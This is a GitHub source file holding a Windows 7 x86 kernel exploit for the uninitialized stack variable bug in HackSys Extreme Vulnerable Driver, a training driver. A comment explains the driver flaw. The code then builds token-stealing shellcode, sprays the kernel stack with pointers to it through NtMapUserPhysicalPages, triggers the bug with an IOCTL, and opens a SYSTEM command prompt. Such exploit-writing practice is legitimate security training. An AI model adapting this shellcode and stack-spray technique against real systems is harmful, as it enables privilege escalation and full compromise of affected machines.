-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathHEVD-UninitializedStackVariableWin7x86.c
148 lines (124 loc) · 4.56 KB
/
HEVD-UninitializedStackVariableWin7x86.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
/*
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
// the callback
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
// Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
// because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
'''
If we pass the driver function the correct magic value then it initializes
the variable and callback parameters. If we pass an incorrect value then this does not happen.
The problem here is that the variable is not set to a specific value when it is defined.
As the variable resides on the stack it will contain whatever random junk is left behind by previous function calls.
Notice that the code has a check (if UninitializedStackVariable.Callback...) which does nothing to protect it from a crash.
'''
<-----------------
To Put it simply The driver Calls a callback on an-uninitialized value, offering the attaker the
chance to perform heap spay in order to facilitate that memory address with a pointer to our allocated shellcode.
---------------->
*/
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include <winioctl.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
HANDLE dev = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL
);
if (dev == INVALID_HANDLE_VALUE) {
return 1;
}
char Buff[20] = "\xDD\xDD\xDD\xDD";
DWORD outBytes = 0;
typedef NTSTATUS(__stdcall *pfNtMapUserPhysicalPages)(
PINT BaseAddress,
UINT32 NumberOfPages,
PBYTE PageFrameNumbers
);
pfNtMapUserPhysicalPages NtMapUserPhysicalPages = (pfNtMapUserPhysicalPages)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtMapUserPhysicalPages");
char pl[60] =
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\x31\xC0"
"\xC3"
;
LPVOID pla = VirtualAlloc(
NULL,
sizeof(pl),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(pla, pl, sizeof(pl));
LPVOID plAddress = &pla;
char HeapSpray[0x1000] = { 0 };
int BaseAddress = 0;
for (int j = 0; j < 0x1000 / 4; j++) {
memcpy(HeapSpray + (j*4), plAddress, 4);
}
NtMapUserPhysicalPages(&BaseAddress,1024,(PBYTE)&HeapSpray);
DeviceIoControl(dev, 0x22202F, &Buff, sizeof(Buff), NULL, 0, &outBytes, (LPOVERLAPPED)NULL);
system("cmd.exe");
CloseHandle(dev);
system("pause");
return 0;
}